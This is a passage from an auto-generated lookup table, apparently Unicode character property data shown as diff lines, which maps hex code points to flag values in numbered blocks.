0x008c, 0x213b: 0x0040, + 0x213c: 0x00c0, 0x213d: 0x0080, 0x213e: 0x0080, 0x213f: 0x0080, + // Block 0x85, offset 0x2140 + 0x2141: 0x00cc, 0x2142: 0x00cc, 0x2143: 0x00cc, 0x2144: 0x00cc, 0x2145: 0x00cc, + 0x2146: 0x00cc, 0x2147: 0x00cc, 0x2148: 0x00cc, 0x2149: 0x00cc, 0x214a: 0x00cc, 0x214b: 0x00cc, + 0x214c: 0x00cc, 0x214d: 0x00cc, 0x214e: 0x00cc, 0x214f: 0x00cc, 0x2150: 0x00cc, 0x2151: 0x00cc, + 0x2152: 0x00cc, 0x2153: 0x00cc, 0x2154: 0x00cc, 0x2155: 0x00cc, 0x2156: 0x00cc, 0x2157: 0x00cc, + 0x2158: 0x00cc, 0x2159: 0x00cc, 0x215a: 0x00cc, 0x215b: 0x00cc, 0x215c: 0x00cc, 0x215d: 0x00cc, + 0x215e: 0x00cc, 0x215f: 0x00cc, 0x2160: 0x00cc, 0x2161: 0x00cc, 0x2162: 0x00cc, 0x2163: 0x00cc, + 0x2164: 0x00cc, 0x2165: 0x00cc, 0x2166: 0x00cc, 0x2167: 0x00cc, 0x2168: 0x00cc, 0x2169: 0x00cc, + 0x216a: 0x00cc, 0x216b: 0x00cc, 0x216c: 0x00cc, 0x216d: 0x00cc, 0x216e: 0x00cc, 0x216f: 0x00cc, + 0x2170: 0x00cc, 0x2171: 0x00cc, 0x2172: 0x00cc, 0x2173: 0x00cc, 0x2174: 0x00cc, 0x2175: 0x00cc, + 0x2176: 0x00cc, 0x2177: 0x00cc, 0x2178: 0x00cc, 0x2179: 0x00cc, 0x217a: 0x00cc, 0x217b: 0x00cc, + 0x217c: 0x00cc, 0x217d: 0x00cc, 0x217e: 0x00cc, 0x217f: 0x00cc, + // Block 0x86, offset 0x2180 + 0x2180: 0x00cc, 0x2181: 0x00cc, 0x2182: 0x00cc, 0x2183: 0x00cc, 0x2184: 0x00cc, 0x2185: 0x00cc, + 0x2186: 0x00cc, 0x2187: 0x00cc, 0x2188: 0x00cc, 0x2189: 0x00cc, 0x218a: 0x00cc, 0x218b: 0x00cc, + 0x218c: 0x00cc, 0x218d: 0x00cc, 0x218e: 0x00cc, 0x218f: 0x00cc, 0x2190: 0x00cc, 0x2191: 0x00cc, + 0x2192: 0x00cc, 0x2193: 0x00cc, 0x2194: 0x00cc, 0x2195: 0x00cc, 0x2196: 0x00cc, + 0x2199: 0x00c3, 0x219a: 0x00c3, 0x219b: 0x0080, 0x219c: 0x0080, 0x219d: 0x00cc, + 0x219e: 0x00cc, 0x219f: 0x008c, 0x21a0: 0x0080, 0x21a1: 0x00cc, 0x21a2: 0x00cc, 0x21a3: 0x00cc, + 0x21a4: 0x00cc, 0x21a5: 0x00cc, 0x21a6: 0x00cc, 0x21a7: 0x00cc, 0x21a8: 0x00cc, 0x21a9: 0x00cc, + 0x21aa: 0x00cc, 0x21ab: 0x00cc, 0x21ac: 0x00cc, 0x21ad: 0x00cc, 0x21ae: 0x00cc, 0x21af: 0x00cc, + 0x21b0: 0x00cc, 0x21b1: 0x00cc, 0x21b2: 0x00cc, 0x21b3: 0x00cc, 0x21b4: 0x00cc, 0x21b5: 0x00cc, + 0x21b6: 0x00cc, 0x21b7: 0x00cc, 0x21b8: 0x00cc, 0x21b9: 0x00cc, 0x21ba: 0x00cc, 0x21bb: 0x00cc, + 0x21bc: 0x00cc, 0x21bd: 0x00cc, 0x21be: 0x00cc, 0x21bf: 0x00cc, + // Block 0x87, offset 0x21c0 + 0x21c0: 0x00cc, 0x21c1: 0x00cc, 0x21c2: 0x00cc, 0x21c3: 0x00cc, 0x21c4: 0x00cc, 0x21c5: 0x00cc, + 0x21c6: 0x00cc, 0x21c7: 0x00cc, 0x21c8: 0x00cc, 0x21c9: 0x00cc, 0x21ca: 0x00cc, 0x21cb: 0x00cc, + 0x21cc: 0x00cc, 0x21cd: 0x00cc, 0x21ce: 0x00cc, 0x21cf: 0x00cc, 0x21d0: 0x00cc, 0x21d1: 0x00cc, + 0x21d2: 0x00cc, 0x21d3: 0x00cc, 0x21d4: 0x00cc, 0x21d5: 0x00cc, 0x21d6: 0x00cc, 0x21d7: 0x00cc, + 0x21d8: 0x00cc, 0x21d9: 0x00cc, 0x21da: 0x00cc, 0x21db: 0x00cc, 0x21dc: 0x00cc, 0x21dd: 0x00cc, + 0x21de: 0x00cc, 0x21df: 0x00cc, 0x21e0: 0x00cc, 0x21e1: 0x00cc, 0x21e2: 0x00cc, 0x21e3: 0x00cc, + 0x21e4: 0x00cc, 0x21e5: 0x00cc, 0x21e6: 0x00cc, 0x21e7: 0x00cc, 0x21e8: 0x00cc, 0x21e9: 0x00cc, + 0x21ea: 0x00cc, 0x21eb: 0x00cc, 0x21ec: 0x00cc, 0x21ed: 0x00cc, 0x21ee: 0x00cc, 0x21ef: 0x00cc, + 0x21f0: 0x00cc, 0x21f1: 0x00cc, 0x21f2: 0x00cc, 0x21f3: 0x00cc, 0x21f4: 0x00cc, 0x21f5: 0x00cc, + 0x21f6: 0x00cc, 0x21f7: 0x00cc, 0x21f8: 0x00cc, 0x21f9: 0x00cc, 0x21fa: 0x00cc, 0x21fb: 0x00d2, + 0x21fc: 0x00c0, 0x21fd: 0x00cc, 0x21fe: 0x00cc, 0x21ff: 0x008c, + // Block 0x88, offset 0x2200 + 0x2205: 0x00c0, + 0x2206: 0x00c0, 0x2207: 0x00c0, 0x2208: 0x00c0, 0x2209: 0x00c0, 0x220a: 0x00c0, 0x220b: 0x00c0, + 0x220c: 0x00c0, 0x220d: 0x00c0, 0x220e: 0x00c0, 0x220f: 0x00c0, 0x2210: 0x00c0, 0x2211: 0x00c0, + 0x2212: 0x00c0, 0x2213: 0x00c0, 0x2214: 0x00c0, 0x2215: 0x00c0, 0x2216: 0x00c0, 0x2217: 0x00c0, + 0x2218: 0x00c0, 0x2219: 0x00c0, 0x221a: 0x00c0, 0x221b: 0x00c0, 0x221c: 0x00c0, 0x221d: 0x00c0, + 0x221e: 0x00c0, 0x221f: 0x00c0, 0x2220: 0x00c0, 0x2221: 0x00c0, 0x2222: 0x00c0, 0x2223: 0x00c0, + 0x2224: 0x00c0, 0x2225: 0x00c0, 0x2226: 0x00c0, 0x2227: 0x00c0, 0x2228: 0x00c0, 0x2229: 0x00c0, + 0x222a: 0x00c0, 0x222b: 0x00c0, 0x222c: 0x00c0, 0x222d: 0x00c0, 0x222e: 0x00c0, 0x222f: 0x00c0, + 0x2231: 0x0080, 0x2232: 0x0080, 0x2233: 0x0080, 0x2234: 0x0080, 0x2235: 0x0080, + 0x2236: 0x0080, 0x2237: 0x0080, 0x2238: 0x0080, 0x2239: 0x0080, 0x223a: 0x0080, 0x223b: 0x0080, + 0x223c: 0x0080, 0x223d: 0x0080, 0x223e: 0x0080, 0x223f: 0x0080, + // Block 0x89, offset 0x2240 + 0x2240: 0x0080, 0x2241: 0x0080, 0x2242: 0x0080, 0x2243: 0x0080, 0x2244: 0x0080, 0x2245: 0x0080, + 0x2246: 0x0080, 0x2247: 0x0080, 0x2248: 0x0080, 0x2249: 0x0080, 0x224a: 0x0080, 0x224b: 0x0080, + 0x224c: 0x0080, 0x224d: 0x0080, 0x224e: 0x0080, 0x224f: 0x0080, 0x2250: 0x0080, 0x2251: 0x0080, + 0x2252: 0x0080, 0x2253: 0x0080, 0x2254: 0x0080, 0x2255: 0x0080, 0x2256: 0x0080, 0x2257: 0x0080, + 0x2258: 0x0080, 0x2259: 0x0080, 0x225a: 0x0080, 0x225b: 0x0080, 0x225c: 0x0080, 0x225d: 0x0080, + 0x225e: 0x0080, 0x225f: 0x0080, 0x2260: 0x0080, 0x2261: 0x0080, 0x2262: 0x0080, 0x2263: 0x0080, + 0x2264: 0x0040, 0x2265: 0x0080, 0x2266: 0x0080, 0x2267: 0x0080, 0x2268: 0x0080, 0x2269: 0x0080, + 0x226a: 0x0080, 0x226b: 0x0080, 0x226c: 0x0080, 0x226d: 0x0080, 0x226e: 0x0080, 0x226f: 0x0080, + 0x2270: 0x0080, 0x2271: 0x0080, 0x2272: 0x0080, 0x2273: 0x0080, 0x2274: 0x0080, 0x2275: 0x0080, + 0x2276: 0x0080, 0x2277: 0x0080, 0x2278: 0x0080, 0x2279: 0x0080, 0x227a: 0x0080, 0x227b: 0x0080, + 0x227c: 0x0080, 0x227d: 0x0080, 0x227e: 0x0080, 0x227f: 0x0080, + // Block 0x8a, offset 0x2280 + 0x2280: 0x0080, 0x2281: 0x0080, 0x2282: 0x0080, 0x2283: 0x0080, 0x2284: 0x0080, 0x2285: 0x0080, + 0x2286: 0x0080, 0x2287: 0x0080, 0x2288: 0x0080, 0x2289: 0x0080, 0x228a: 0x0080, 0x228b: 0x0080, + 0x228c: 0x0080, 0x228d: 0x0080, 0x228e: 0x0080, 0x2290: 0x0080, 0x2291: 0x0080, + 0x2292: 0x0080, 0x2293: 0x0080, 0x2294: 0x0080, 0x2295: 0x0080, 0x2296: 0x0080, 0x2297: 0x0080, + 0x2298: 0x0080, 0x2299: 0x0080, 0x229a: 0x0080, 0x229b: 0x0080, 0x229c: 0x0080, 0x229d: 0x0080, + 0x229e: 0x0080, 0x229f: 0x0080, 0x22a0: 0x00c0, 0x22a1: 0x00c0, 0x22a2: 0x00c0, 0x22a3: 0x00c0, + 0x22a4: 0x00c0, 0x22a5: 0x00c0, 0x22a6: 0x00c0, 0x22a7: 0x00c0, 0x22a8: 0x00c0, 0x22a9: 0x00c0, + 0x22aa: 0x00c0, 0x22ab: 0x00c0, 0x22ac: 0x00c0, 0x22ad: 0x00c0, 0x22ae: 0x00c0, 0x22af: 0x00c0, + 0x22b0: 0x00c0, 0x22b1: 0x00c0, 0x22b2: 0x00c0, 0x22b3: 0x00c0, 0x22b4: 0x00c0, 0x22b5: 0x00c0, + 0x22b6: 0x00c0, 0x22b7: 0x00c0, 0x22b8: 0x00c0, 0x22b9: 0x00c0, 0x22ba: 0x00c0, 0x22bb: 0x00c0, + 0x22bc: 0x00c0, 0x22bd: 0x00c0, 0x22be: 0x00c0, 0x22bf: 0x00c0, + // Block 0x8b, offset 0x22c0 + 0x22c0: 0x0080, 0x22c1: 0x0080, 0x22c2: 0x0080, 0x22c3: 0x0080, 0x22c4: 0x0080, 0x22c5: 0x0080, + 0x22c6: 0x0080, 0x22c7: 0x0080, 0x22c8: 0x0080, 0x22c9: 0x0080, 0x22ca: 0x0080, 0x22cb: 0x0080, + 0x22cc: 0x0080, 0x22cd: 0x0080, 0x22ce: 0x0080, 0x22cf: 0x0080, 0x22d0: 0x0080, 0x22d1: 0x0080, + 0x22d2: 0x0080, 0x22d3: 0x0080, 0x22d4: 0x0080, 0x22d5: 0x0080, 0x22d6: 0x0080, 0x22d7: 0x0080, + 0x22d8: 0x0080, 0x22d9: 0x0080, 0x22da: 0x0080, 0x22db: 0x0080, 0x22dc: 0x0080, 0x22dd: 0x0080, + 0x22de: 0x0080, 0x22df: 0x0080, 0x22e0: 0x0080, 0x22e1: 0x0080, 0x22e2: 0x0080, 0x22e3: 0x0080, + 0x22f0: 0x00cc, 0x22f1: 0x00cc, 0x22f2: 0x00cc, 0x22f3: 0x00cc, 0x22f4: 0x00cc, 0x22f5: 0x00cc, + 0x22f6: 0x00cc, 0x22f7: 0x00cc, 0x22f8: 0x00cc, 0x22f9: 0x00cc, 0x22fa: 0x00cc, 0x22fb: 0x00cc, + 0x22fc: 0x00cc, 0x22fd: 0x00cc, 0x22fe: 0x00cc, 0x22ff: 0x00cc, + // Block 0x8c, offset 0x2300 + 0x2300: 0x0080, 0x2301: 0x0080, 0x2302: 0x0080, 0x2303: 0x0080, 0x2304: 0x0080, 0x2305: 0x0080, + 0x2306: 0x0080, 0x2307: 0x0080, 0x2308: 0x0080, 0x2309: 0x0080, 0x230a: 0x0080, 0x230b: 0x0080, + 0x230c: 0x0080, 0x230d: 0x0080, 0x230e: 0x0080, 0x230f: 0x0080, 0x2310: 0x0080, 0x2311: 0x0080, + 0x2312: 0x0080, 0x2313: 0x0080, 0x2314: 0x0080, 0x2315: 0x0080, 0x2316: 0x0080, 0x2317: 0x0080, + 0x2318: 0x0080, 0x2319: 0x0080, 0x231a: 0x0080, 0x231b: 0x0080, 0x231c: 0x0080, 0x231d: 0x0080, + 0x231e: 0x0080, 0x2320: 0x0080, 0x2321: 0x0080, 0x2322: 0x0080, 0x2323: 0x0080, + 0x2324: 0x0080, 0x2325: 0x0080, 0x2326: 0x0080, 0x2327: 0x0080, 0x2328: 0x0080, 0x2329: 0x0080, + 0x232a: 0x0080, 0x232b: 0x0080, 0x232c: 0x0080, 0x232d: 0x0080, 0x232e: 0x0080, 0x232f: 0x0080, + 0x2330: 0x0080, 0x2331: 0x0080, 0x2332: 0x0080, 0x2333: 0x0080, 0x2334: 0x0080, 0x2335: 0x0080, + 0x2336: 0x0080, 0x2337: 0x0080, 0x2338: 0x0080, 0x2339: 0x0080, 0x233a: 0x0080, 0x233b: 0x0080, + 0x233c: 0x0080, 0x233d: 0x0080, 0x233e: 0x0080, 0x233f: 0x0080, + // Block 0x8d, offset 0x2340 + 0x2340: 0x0080, 0x2341: 0x0080, 0x2342: 0x0080, 0x2343: 0x0080, 0x2344: 0x0080, 0x2345: 0x0080, + 0x2346: 0x0080, 0x2347: 0x0080, 0x2348: 0x0080, 0x2349: 0x0080, 0x234a: 0x0080, 0x234b: 0x0080, + 0x234c: 0x0080, 0x234d: 0x0080, 0x234e: 0x0080, 0x234f: 0x0080, 0x2350: 0x008c, 0x2351: 0x008c, + 0x2352: 0x008c, 0x2353: 0x008c, 0x2354: 0x008c, 0x2355: 0x008c, 0x2356: 0x008c, 0x2357: 0x008c, + 0x2358: 0x008c, 0x2359: 0x008c, 0x235a: 0x008c, 0x235b: 0x008c, 0x235c: 0x008c, 0x235d: 0x008c, + 0x235e: 0x008c, 0x235f: 0x008c, 0x2360: 0x008c, 0x2361: 0x008c, 0x2362: 0x008c, 0x2363: 0x008c, + 0x2364: 0x008c, 0x2365: 0x008c, 0x2366: 0x008c, 0x2367: 0x008c, 0x2368: 0x008c, 0x2369: 0x008c, + 0x236a: 0x008c, 0x236b: 0x008c, 0x236c: 0x008c, 0x236d: 0x008c, 0x236e: 0x008c, 0x236f: 0x008c, + 0x2370: 0x008c, 0x2371: 0x008c, 0x2372: 0x008c, 0x2373: 0x008c, 0x2374: 0x008c, 0x2375: 0x008c, + 0x2376: 0x008c, 0x2377: 0x008c, 0x2378: 0x008c, 0x2379: 0x008c, 0x237a: 0x008c, 0x237b: 0x008c, + 0x237c: 0x008c, 0x237d: 0x008c, 0x237e: 0x008c, 0x237f: 0x0080, + // Block 0x8e, offset 0x2380 + 0x2380: 0x008c, 0x2381: 0x008c, 0x2382: 0x008c, 0x2383: 0x008c, 0x2384: 0x008c, 0x2385: 0x008c, + 0x2386: 0x008c, 0x2387: 0x008c, 0x2388: 0x008c, 0x2389: 0x008c, 0x238a: 0x008c, 0x238b: 0x008c, + 0x238c: 0x008c, 0x238d: 0x008c, 0x238e: 0x008c, 0x238f: 0x008c, 0x2390: 0x008c, 0x2391: 0x008c, + 0x2392: 0x008c, 0x2393: 0x008c, 0x2394: 0x008c, 0x2395: 0x008c, 0x2396: 0x008c, 0x2397: 0x008c, + 0x2398: 0x0080, 0x2399: 0x0080, 0x239a: 0x0080, 0x239b: 0x0080, 0x239c: 0x0080, 0x239d: 0x0080, + 0x239e: 0x0080, 0x239f: 0x0080, 0x23a0: 0x0080, 0x23a1: 0x0080, 0x23a2: 0x0080, 0x23a3: 0x0080, + 0x23a4: 0x0080, 0x23a5: 0x0080, 0x23a6: 0x0080, 0x23a7: 0x0080, 0x23a8: 0x0080, 0x23a9: 0x0080, + 0x23aa: 0x0080, 0x23ab: 0x0080, 0x23ac: 0x0080, 0x23ad: 0x0080, 0x23ae: 0x0080, 0x23af: 0x0080, + 0x23b0: 0x0080, 0x23b1: 0x0080, 0x23b2: 0x0080, 0x23b3: 0x0080, 0x23b4: 0x0080, 0x23b5: 0x0080, + 0x23b6: 0x0080, 0x23b7: 0x0080, 0x23b8: 0x0080, 0x23b9: 0x0080, 0x23ba: 0x0080, 0x23bb: 0x0080, + 0x23bc: 0x0080, 0x23bd: 0x0080, 0x23be: 0x0080, 0x23bf: 0x0080, + // Block 0x8f, offset 0x23c0 + 0x23c0: 0x00cc, 0x23c1: 0x00cc, 0x23c2: 0x00cc, 0x23c3: 0x00cc, 0x23c4: 0x00cc, 0x23c5: 0x00cc, + 0x23c6: 0x00cc, 0x23c7: 0x00cc, 0x23c8: 0x00cc, 0x23c9: 0x00cc, 0x23ca: 0x00cc, 0x23cb: 0x00cc, + 0x23cc: 0x00cc, 0x23cd: 0x00cc, 0x23ce: 0x00cc, 0x23cf: 0x00cc, 0x23d0: 0x00cc, 0x23d1: 0x00cc, + 0x23d2: 0x00cc, 0x23d3: 0x00cc, 0x23d4: 0x00cc, 0x23d5: 0x00cc, 0x23d6: 0x00cc, 0x23d7: 0x00cc, + 0x23d8: 0x00cc, 0x23d9: 0x00cc, 0x23da: 0x00cc, 0x23db: 0x00cc, 0x23dc: 0x00cc, 0x23dd: 0x00cc, + 0x23de: 0x00cc, 0x23df: 0x00cc, 0x23e0: 0x00cc, 0x23e1: 0x00cc, 0x23e2: 0x00cc, 0x23e3: 0x00cc, + 0x23e4: 0x00cc, 0x23e5: 0x00cc, 0x23e6: 0x00cc, 0x23e7: 0x00cc, 0x23e8: 0x00cc, 0x23e9: 0x00cc, + 0x23ea: 0x00cc, 0x23eb: 0x00cc, 0x23ec: 0x00cc, 0x23ed: 0x00cc, 0x23ee: 0x00cc, 0x23ef: 0x00cc, + 0x23f0: 0x00cc, 0x23f1: 0x00cc, 0x23f2: 0x00cc, 0x23f3: 0x00cc, 0x23f4: 0x00cc, 0x23f5: 0x00cc, + 0x23f6: 0x00cc, 0x23f7: 0x00cc, 0x23f8: 0x00cc, 0x23f9: 0x00cc, 0x23fa: 0x00cc, 0x23fb: 0x00cc, + 0x23fc: 0x00cc, 0x23fd: 0x00cc, 0x23fe: 0x00cc, 0x23ff: 0x00cc, + // Block 0x90, offset 0x2400 + 0x2400: 0x00c0, 0x2401: 0x00c0, 0x2402: 0x00c0, 0x2403: 0x00c0, 0x2404: 0x00c0, 0x2405: 0x00c0, + 0x2406: 0x00c0, 0x2407: 0x00c0, 0x2408: 0x00c0, 0x2409: 0x00c0, 0x240a: 0x00c0, 0x240b: 0x00c0, + 0x240c: 0x00c0, 0x2410: 0x0080, 0x2411: 0x0080, + 0x2412: 0x0080, 0x2413: 0x0080, 0x2414: 0x0080, 0x2415: 0x0080, 0x2416: 0x0080, 0x2417: 0x0080, + 0x2418: 0x0080, 0x2419: 0x0080, 0x241a: 0x0080, 0x241b: 0x0080, 0x241c: 0x0080, 0x241d: 0x0080, + 0x241e: 0x0080, 0x241f: 0x0080, 0x2420: 0x0080, 0x2421: 0x0080, 0x2422: 0x0080, 0x2423: 0x0080, + 0x2424: 0x0080, 0x2425: 0x0080, 0x2426: 0x0080, 0x2427: 0x0080, 0x2428: 0x0080, 0x2429: 0x0080, + 0x242a: 0x0080, 0x242b: 0x0080, 0x242c: 0x0080, 0x242d: 0x0080, 0x242e: 0x0080, 0x242f: 0x0080, + 0x2430: 0x0080, 0x2431: 0x0080, 0x2432: 0x0080, 0x2433: 0x0080, 0x2434: 0x0080, 0x2435: 0x0080, + 0x2436: 0x0080, 0x2437: 0x0080, 0x2438: 0x0080, 0x2439: 0x0080, 0x243a: 0x0080, 0x243b: 0x0080, + 0x243c: 0x0080, 0x243d: 0x0080, 0x243e: 0x0080, 0x243f: 0x0080, + // Block 0x91, offset 0x2440 + 0x2440: 0x0080, 0x2441: 0x0080, 0x2442: 0x0080, 0x2443: 0x0080, 0x2444: 0x0080, 0x2445: 0x0080, + 0x2446: 0x0080, + 0x2450: 0x00c0, 0x2451: 0x00c0, + 0x2452: 0x00c0, 0x2453: 0x00c0, 0x2454: 0x00c0, 0x2455: 0x00c0, 0x2456: 0x00c0, 0x2457: 0x00c0, + 0x2458: 0x00c0, 0x2459: 0x00c0, 0x245a: 0x00c0, 0x245b: 0x00c0, 0x245c: 0x00c0, 0x245d: 0x00c0, + 0x245e: 0x00c0, 0x245f: 0x00c0, 0x2460: 0x00c0, 0x2461: 0x00c0, 0x2462: 0x00c0, 0x2463: 0x00c0, + 0x2464: 0x00c0, 0x2465: 0x00c0, 0x2466: 0x00c0, 0x2467: 0x00c0, 0x2468: 0x00c0, 0x2469: 0x00c0, + 0x246a: 0x00c0, 0x246b: 0x00c0, 0x246c: 0x00c0, 0x246d: 0x00c0, 0x246e: 0x00c0, 0x246f: 0x00c0, + 0x2470: 0x00c0, 0x2471: 0x00c0, 0x2472: 0x00c0, 0x2473: 0x00c0, 0x2474: 0x00c0, 0x2475: 0x00c0, + 0x2476: 0x00c0, 0x2477: 0x00c0, 0x2478: 0x00c0, 0x2479: 0x00c0, 0x247a: 0x00c0, 0x247b: 0x00c0, + 0x247c: 0x00c0, 0x247d: 0x00c0, 0x247e: 0x0080, 0x247f: 0x0080, + // Block 0x92, offset 0x2480 + 0x2480: 0x00c0, 0x2481: 0x00c0, 0x2482: 0x00c0, 0x2483: 0x00c0, 0x2484: 0x00c0, 0x2485: 0x00c0, + 0x2486: 0x00c0, 0x2487: 0x00c0, 0x2488: 0x00c0, 0x2489: 0x00c0, 0x248a: 0x00c0, 0x248b: 0x00c0, + 0x248c: 0x00c0, 0x248d: 0x0080, 0x248e: 0x0080, 0x248f: 0x0080, 0x2490: 0x00c0, 0x2491: 0x00c0, + 0x2492: 0x00c0, 0x2493: 0x00c0, 0x2494: 0x00c0, 0x2495: 0x00c0, 0x2496: 0x00c0, 0x2497: 0x00c0, + 0x2498: 0x00c0, 0x2499: 0x00c0, 0x249a: 0x00c0, 0x249b: 0x00c0, 0x249c: 0x00c0, 0x249d: 0x00c0, + 0x249e: 0x00c0, 0x249f: 0x00c0, 0x24a0: 0x00c0, 0x24a1: 0x00c0, 0x24a2: 0x00c0, 0x24a3: 0x00c0, + 0x24a4: 0x00c0, 0x24a5: 0x00c0, 0x24a6: 0x00c0, 0x24a7: 0x00c0, 0x24a8: 0x00c0, 0x24a9: 0x00c0, + 0x24aa: 0x00c0, 0x24ab: 0x00c0, + // Block 0x93, offset 0x24c0 + 0x24c0: 0x00c0, 0x24c1: 0x00c0, 0x24c2: 0x00c0, 0x24c3: 0x00c0, 0x24c4: 0x00c0, 0x24c5: 0x00c0, + 0x24c6: 0x00c0, 0x24c7: 0x00c0, 0x24c8: 0x00c0, 0x24c9: 0x00c0, 0x24ca: 0x00c0, 0x24cb: 0x00c0, + 0x24cc: 0x00c0, 0x24cd: 0x00c0, 0x24ce: 0x00c0, 0x24cf: 0x00c0, 0x24d0: 0x00c0, 0x24d1: 0x00c0, + 0x24d2: 0x00c0, 0x24d3: 0x00c0, 0x24d4: 0x00c0, 0x24d5: 0x00c0, 0x24d6: 0x00c0, 0x24d7: 0x00c0, + 0x24d8: 0x00c0, 0x24d9: 0x00c0, 0x24da: 0x00c0, 0x24db: 0x00c0, 0x24dc: 0x00c0, 0x24dd: 0x00c0, + 0x24de: 0x00c0, 0x24df: 0x00c0, 0x24e0: 0x00c0, 0x24e1: 0x00c0, 0x24e2: 0x00c0, 0x24e3: 0x00c0, + 0x24e4: 0x00c0, 0x24e5: 0x00c0, 0x24e6: 0x00c0, 0x24e7: 0x00c0, 0x24e8: 0x00c0, 0x24e9: 0x00c0, + 0x24ea: 0x00c0, 0x24eb: 0x00c0, 0x24ec: 0x00c0, 0x24ed: 0x00c0, 0x24ee: 0x00c0, 0x24ef: 0x00c3, + 0x24f0: 0x0083, 0x24f1: 0x0083, 0x24f2: 0x0083, 0x24f3: 0x0080, 0x24f4: 0x00c3, 0x24f5: 0x00c3, + 0x24f6: 0x00c3, 0x24f7: 0x00c3, 0x24f8: 0x00c3, 0x24f9: 0x00c3, 0x24fa: 0x00c3, 0x24fb: 0x00c3, + 0x24fc: 0x00c3, 0x24fd: 0x00c3, 0x24fe: 0x0080, 0x24ff: 0x00c0, + // Block 0x94, offset 0x2500 + 0x2500: 0x00c0, 0x2501: 0x00c0, 0x2502: 0x00c0, 0x2503: 0x00c0, 0x2504: 0x00c0, 0x2505: 0x00c0, + 0x2506: 0x00c0, 0x2507: 0x00c0, 0x2508: 0x00c0, 0x2509: 0x00c0, 0x250a: 0x00c0, 0x250b: 0x00c0, + 0x250c: 0x00c0, 0x250d: 0x00c0, 0x250e: 0x00c0, 0x250f: 0x00c0, 0x2510: 0x00c0, 0x2511: 0x00c0, + 0x2512: 0x00c0, 0x2513: 0x00c0, 0x2514: 0x00c0, 0x2515: 0x00c0, 0x2516: 0x00c0, 0x2517: 0x00c0, + 0x2518: 0x00c0, 0x2519: 0x00c0, 0x251a: 0x00c0, 0x251b: 0x00c0, 0x251c: 0x0080, 0x251d: 0x0080, + 0x251e: 0x00c3, 0x251f: 0x00c3, 0x2520: 0x00c0, 0x2521: 0x00c0, 0x2522: 0x00c0, 0x2523: 0x00c0, + 0x2524: 0x00c0, 0x2525: 0x00c0, 0x2526: 0x00c0, 0x2527: 0x00c0, 0x2528: 0x00c0, 0x2529: 0x00c0, + 0x252a: 0x00c0, 0x252b: 0x00c0, 0x252c: 0x00c0, 0x252d: 0x00c0, 0x252e: 0x00c0, 0x252f: 0x00c0, + 0x2530: 0x00c0, 0x2531: 0x00c0, 0x2532: 0x00c0, 0x2533: 0x00c0, 0x2534: 0x00c0, 0x2535: 0x00c0, + 0x2536: 0x00c0, 0x2537: 0x00c0, 0x2538: 0x00c0, 0x2539: 0x00c0, 0x253a: 0x00c0, 0x253b: 0x00c0, + 0x253c: 0x00c0, 0x253d: 0x00c0, 0x253e: 0x00c0, 0x253f: 0x00c0, + // Block 0x95, offset 0x2540 + 0x2540: 0x00c0, 0x2541: 0x00c0, 0x2542: 0x00c0, 0x2543: 0x00c0, 0x2544: 0x00c0, 0x2545: 0x00c0, + 0x2546: 0x00c0, 0x2547: 0x00c0, 0x2548: 0x00c0, 0x2549: 0x00c0, 0x254a: 0x00c0, 0x254b: 0x00c0, + 0x254c: 0x00c0, 0x254d: 0x00c0, 0x254e: 0x00c0, 0x254f: 0x00c0, 0x2550: 0x00c0, 0x2551: 0x00c0, + 0x2552: 0x00c0, 0x2553: 0x00c0, 0x2554: 0x00c0, 0x2555: 0x00c0, 0x2556: 0x00c0, 0x2557: 0x00c0, + 0x2558: 0x00c0, 0x2559: 0x00c0, 0x255a: 0x00c0, 0x255b: 0x00c0, 0x255c: 0x00c0, 0x255d: 0x00c0, + 0x255e: 0x00c0, 0x255f: 0x00c0, 0x2560: 0x00c0, 0x2561: 0x00c0, 0x2562: 0x00c0, 0x2563: 0x00c0, + 0x2564: 0x00c0, 0x2565: 0x00c0, 0x2566: 0x0080, 0x2567: 0x0080, 0x2568: 0x0080, 0x2569: 0x0080, + 0x256a: 0x0080, 0x256b: 0x0080, 0x256c: 0x0080, 0x256d: 0x0080, 0x256e: 0x0080, 0x256f: 0x0080, + 0x2570: 0x00c3, 0x2571: 0x00c3, 0x2572: 0x0080, 0x2573: 0x0080, 0x2574: 0x0080, 0x2575: 0x0080, + 0x2576: 0x0080, 0x2577: 0x0080, + // Block 0x96, offset 0x2580 + 0x2580: 0x0080, 0x2581: 0x0080, 0x2582: 0x0080, 0x2583: 0x0080, 0x2584: 0x0080, 0x2585: 0x0080, + 0x2586: 0x0080, 0x2587: 0x0080, 0x2588: 0x0080, 0x2589: 0x0080, 0x258a: 0x0080, 0x258b: 0x0080, + 0x258c: 0x0080, 0x258d: 0x0080, 0x258e: 0x0080, 0x258f: 0x0080, 0x2590: 0x0080, 0x2591: 0x0080, + 0x2592: 0x0080, 0x2593: 0x0080, 0x2594: 0x0080, 0x2595: 0x0080, 0x2596: 0x0080, 0x2597: 0x00c0, + 0x2598: 0x00c0, 0x2599: 0x00c0, 0x259a: 0x00c0, 0x259b: 0x00c0, 0x259c: 0x00c0, 0x259d: 0x00c0, + 0x259e: 0x00c0, 0x259f: 0x00c0, 0x25a0: 0x0080, 0x25a1: 0x0080, 0x25a2: 0x00c0, 0x25a3: 0x00c0, + 0x25a4: 0x00c0, 0x25a5: 0x00c0, 0x25a6: 0x00c0, 0x25a7: 0x00c0, 0x25a8: 0x00c0, 0x25a9: 0x00c0, + 0x25aa: 0x00c0, 0x25ab: 0x00c0, 0x25ac: 0x00c0, 0x25ad: 0x00c0, 0x25ae: 0x00c0, 0x25af: 0x00c0, + 0x25b0: 0x00c0, 0x25b1: 0x00c0, 0x25b2: 0x00c0, 0x25b3: 0x00c0, 0x25b4: 0x00c0, 0x25b5: 0x00c0, + 0x25b6: 0x00c0, 0x25b7: 0x00c0, 0x25b8: 0x00c0, 0x25b9: 0x00c0, 0x25ba: 0x00c0, 0x25bb: 0x00c0, + 0x25bc: 0x00c0, 0x25bd: 0x00c0, 0x25be: 0x00c0, 0x25bf: 0x00c0, + // Block 0x97, offset 0x25c0 + 0x25c0: 0x00c0, 0x25c1: 0x00c0, 0x25c2: 0x00c0, 0x25c3: 0x00c0, 0x25c4: 0x00c0, 0x25c5: 0x00c0, + 0x25c6: 0x00c0, 0x25c7: 0x00c0, 0x25c8: 0x00c0, 0x25c9: 0x00c0, 0x25ca: 0x00c0, 0x25cb: 0x00c0, + 0x25cc: 0x00c0, 0x25cd: 0x00c0, 0x25ce: 0x00c0, 0x25cf: 0x00c0, 0x25d0: 0x00c0, 0x25d1: 0x00c0, + 0x25d2: 0x00c0, 0x25d3: 0x00c0, 0x25d4: 0x00c0, 0x25d5: 0x00c0, 0x25d6: 0x00c0, 0x25d7: 